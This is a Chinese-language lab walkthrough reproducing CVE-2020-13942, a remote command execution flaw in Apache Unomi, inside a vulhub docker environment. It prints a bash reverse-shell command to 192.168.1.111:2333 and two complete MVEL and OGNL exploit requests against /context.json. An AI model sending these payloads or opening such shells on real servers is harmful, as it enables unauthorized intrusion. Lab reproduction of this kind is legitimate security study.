一、漏洞描述
Apache Unomi 是一個基於標准的客戶數據平台(CDP,Customer Data Platform),用於管理在線客戶和訪客等信息,以提供符合訪客隱私規則的個性化體驗。在Apache Unomi 1.5.1級以前版本中,存在一處表達式注入漏洞,遠程攻擊者通過MVEL和OGNL表達式即可在目標服務器上執行任意命令。
影響版本
Apache Unomi < 1.5.2
二、漏洞環境搭建
需要准備的工具如下:
1.docker+vulhub漏洞庫
2.Burpsuite抓包工具
3.靶機Ubuntu18.04虛擬機(其他也可以)
打開Ubuntu虛擬機,有docker環境和vulhub漏洞庫的話就直接進入環境,沒有的話先安裝docker和下載vulhub漏洞庫(網上教程很多,這里就不多介紹了)
root@admin666-virtual-machine:~/vulhub-master/unomi/CVE-2020-13942#
執行命令 docker-compose up -d
root@admin666-virtual-machine:~/vulhub-master/unomi/CVE-2020-13942# docker-compose up -d
等到出現以下頁面證明已經搭建完成

可以訪問 http://your-ip:8181 出現如下頁面證明環境搭建成功!

三、漏洞利用
利用Burp抓包,構造POC進行命令執行攻擊
注:使用Burp抓包和瀏覽器設置代理的時候需要將端口設置為8181
在這之前將bash反彈shell的命令進行編碼,編碼網址為http://www.jackson-t.ca/runtime-exec-payloads.html
bash -i >& /dev/tcp/192.168.1.111/2333 0>&1

直接上POC,有兩個POC,把編碼好的bash命令替換原有命令,放入Burp中進行發包
POC1
POST /context.json HTTP/1.1
Host: 192.168.1.11:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 565
{
"filters": [
{
"id": "2333",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"command \");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "2333"
}


POC2
POST /context.json HTTP/1.1
Host: 192.168.1.11:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" command\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"2333"
}


至此漏洞利用成功!
四、關閉docker環境
docker-compose down

